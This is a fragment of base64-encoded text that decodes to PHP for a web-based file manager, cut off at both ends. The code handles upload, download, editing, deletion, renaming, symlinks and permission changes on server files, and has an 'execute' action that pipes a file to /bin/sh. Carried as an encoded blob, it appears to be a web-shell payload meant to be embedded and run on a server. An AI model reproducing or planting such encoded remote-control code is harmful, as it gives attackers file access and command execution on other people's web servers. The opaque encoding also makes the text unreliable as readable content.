0aW9uOiBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQlyZWFkZmlsZSgkZmlsZSk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZG93bmxvYWQnOg0KDQoJaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KCWhlYWRlcignRXhwaXJlczogMCcpOw0KCWhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7DQoJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAuICc7Jyk7DQoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQoNCglyZWFkZmlsZSgkZmlsZSk7DQoNCglicmVhazsNCg0KY2FzZSAndXBsb2FkJzoNCg0KCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7DQoNCglpZiAoQGZpbGVfZXhpc3RzKCRkZXN0KSkgew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGRlc3QpKTsNCgl9IGVsc2VpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7DQoJCUBjaG1vZCgkZGVzdCwgJGZpbGVwZXJtaXNzaW9uKTsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfdXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsNCgkJaWYgKEBta2RpcigkZmlsZSwgJGRpcnBlcm1pc3Npb24pKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjcmVhdGVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX2ZpbGUnOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRmaWxlcGVybWlzc2lvbik7DQoJCWlmIChAdG91Y2goJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZXhlY3V0ZSc6DQoNCgljaGRpcihkaXJuYW1lKCRmaWxlKSk7DQoNCgkkb3V0cHV0ID0gYXJyYXkoKTsNCgkkcmV0dmFsID0gMDsNCglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsNCg0KCSRlcnJvciA9ICgkcmV0dmFsID09IDApID8gZmFsc2UgOiB0cnVlOw0KDQoJaWYgKHNpemVvZigkb3V0cHV0KSA9PSAwKSAkb3V0cHV0ID0gYXJyYXkoJzwnIC4gJHdvcmRzWydub19vdXRwdXQnXSAuICc+Jyk7DQoNCglpZiAoJGVycm9yKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlwNCiIsICRvdXRwdXQpKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgnZXhlY3V0ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXA0KIiwgJG91dHB1dCkpKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZGVsZXRlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydubyddKSkgew0KCQlsaXN0aW5nX3BhZ2UoKTsNCgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7DQoNCgkJJGZhaWx1cmUgPSBhcnJheSgpOw0KCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoZGVsKCRmaWxlKSkgew0KCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJfQ0KCQl9DQoNCgkJJG1lc3NhZ2UgPSAnJzsNCgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlwNCiIsICRmYWlsdXJlKSk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcDQoiLCAkc3VjY2VzcykpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ3JlYWxseV9kZWxldGUnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XA0KIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibm8iIHZhbHVlPSInIC4gd29yZCgnbm8nKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ3JlbmFtZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEByZW5hbWUoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfcmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCSRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOw0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icmVuYW1lIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8Yj4nIC4gd29yZCgncmVuYW1lX2ZpbGUnKSAuICc8L2I+DQoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4NCgk8Yj4nIC4gc3Vic3RyKCRmaWxlLCAwLCBzdHJsZW4oJGZpbGUpIC0gc3RybGVuKCRuYW1lKSkgLiAnPC9iPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJG5hbWUpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRuYW1lKSAuICciIC8+DQoJPGhyIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdtb3ZlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCSRkID0gJGRlc3QgLiAkZmlsZW5hbWU7DQoJCQlpZiAoIUBmaWxlX2V4aXN0cygkZCkgJiYgQHJlbmFtZSgkZmlsZSwgJGQpKSB7DQoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbWVzc2FnZSA9ICcnOw0KCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlwNCiIsICRmYWlsdXJlKSwgJGRlc3QpOw0KCQl9DQoJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdtb3ZlZCcsIGltcGxvZGUoIlwNCiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cDQoiOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY29weSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7DQoNCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOw0KCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYgIUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgew0KCQkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJCX0NCgkJCX0NCg0KCQkJJG1lc3NhZ2UgPSAnJzsNCgkJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcDQoiLCAkZmFpbHVyZSksICRkZXN0KTsNCgkJCX0NCgkJCWlmIChzaXplb2YoJHN1Y2Nlc3MpID4gMCkgew0KCQkJCSRtZXNzYWdlIC49IG5vdGljZSgnY29waWVkJywgaW1wbG9kZSgiXA0KIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7DQoJCQl9DQoNCgkJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsNCgkJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJCX0gZWxzZSB7DQoJCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9DQoNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1bXAoKTsNCg0KCQllY2hvICJcDQo8Yj4iIC4gd29yZCgnY29weV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cDQoiOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjb3B5JykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX3N5bWxpbmsnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmIChzdWJzdHIoJGRlc3QsIC0xLCAxKSA9PSAkZGVsaW0pICRkZXN0IC49IGJhc2VuYW1lKCRmaWxlKTsNCg0KCQlpZiAoIWVtcHR5KCRfUE9TVFsncmVsYXRpdmUnXSkpICRmaWxlID0gYWJzb2x1dGUycmVsYXRpdmUoYWRkc2xhc2goZGlybmFtZSgkZGVzdCkpLCAkZmlsZSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBzeW1saW5rKCRmaWxlLCAkZGVzdCkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc3ltbGlua2VkJywgJGZpbGUsICRkZXN0KSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIiBpZD0ic3ltbGluayI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogdG9wIj4nIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8Yj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9iPjxiciAvPg0KCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InJlbGF0aXZlIiB2YWx1ZT0ieWVzIiBpZD0iY2hlY2tib3hfcmVsYXRpdmUiIGNoZWNrZWQ9ImNoZWNrZWQiIHN0eWxlPSJtYXJnaW4tdG9wOiAxZXgiIC8+DQoJCTxsYWJlbCBmb3I9ImNoZWNrYm94X3JlbGF0aXZlIj4nIC4gd29yZCgncmVsYXRpdmUnKSAuICc8L2xhYmVsPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfc3ltbGluayIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCgk8dGQ+JyAuIHdvcmQoJ3N5bWxpbmsnKSAuICc6IDwvdGQ+DQoJPHRkPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdjcmVhdGVfc3ltbGluaycpIC4gJyIgLz4NCgk8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdlZGl0JzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydzYXZlJ10pKSB7DQoNCgkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXA0KXA0KIiwgIlwNCiIsICRfUE9TVFsnY29udGVudCddKTsNCg0KCQlpZiAoKCRmID0gQGZvcGVuKCRmaWxlLCAndycpKSAmJiBAZndyaXRlKCRmLCAkY29udGVudCkgIT09IGZhbHNlICYmIEBmY2xvc2UoJGYpKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdzYXZlZCcsICRmaWxlKSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9zYXZlZCcsICRmaWxlKSk7DQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaWYgKEBpc19yZWFkYWJsZSgkZmlsZSkgJiYgQGlzX3dyaXRhYmxlKCRmaWxlKSkgew0KCQkJZWRpdCgkZmlsZSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9lZGl0ZWQnLCAkZmlsZSkpOw0KCQl9DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAncGVybWlzc2lvbic6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnc2V0J10pKSB7DQoNCgkJJG1vZGUgPSAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpICRtb2RlIHw9IDA0MDA7IGlmICghZW1wdHkoJF9QT1NUWyd1dyddKSkgJG1vZGUgfD0gMDIwMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSAkbW9kZSB8PSAwMTAwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpICRtb2RlIHw9IDAwNDA7IGlmICghZW1wdHkoJF9QT1NUWydndyddKSkgJG1vZGUgfD0gMDAyMDsgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSAkbW9kZSB8PSAwMDEwOw0KCQlpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpICRtb2RlIHw9IDAwMDQ7IGlmICghZW1wdHkoJF9QT1NUWydvdyddKSkgJG1vZGUgfD0gMDAwMjsgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSAkbW9kZSB8PSAwMDAxOw0KDQoJCWlmIChAY2htb2QoJGZpbGUsICRtb2RlKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncGVybWlzc2lvbl9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdwZXJtaXNzaW9uX25vdF9zZXQnLCAkZmlsZSwgZGVjb2N0KCRtb2RlKSkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJJG1vZGUgPSBmaWxlcGVybXMoJGZpbGUpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KDQoJPHAgc3R5bGU9Im1hcmdpbjogMCI+JyAuIHBocmFzZSgncGVybWlzc2lvbl9mb3InLCAkZmlsZSkgLiAnPC9wPg0KDQoJPGhyIC8+DQoNCgk8dGFibGUgaWQ9InBlcm1pc3Npb24iPg0KCTx0cj4NCgkJPHRkPjwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdvd25lcicpIC4gJzwvdGQ+DQoJCTx0ZCBzdHlsZT0iYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgYmxhY2siPicgLiB3b3JkKCdncm91cCcpIC4gJzwvdGQ+DQoJCTx0ZD4nIC4gd29yZCgnb3RoZXInKSAuICc8L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgncmVhZCcpIC4gJzo8L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1ciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDA0MDApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdyIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDA0MCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDA0KSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCTwvdHI+DQoJPHRyPg0KCQk8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij4nIC4gd29yZCgnd3JpdGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMjAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMjApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMikgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ2V4ZWN1dGUnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXgiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMTAwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJneCIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMTApIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im94IiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwMSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTwvdGFibGU+DQoNCgk8aHIgLz4NCg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNldCI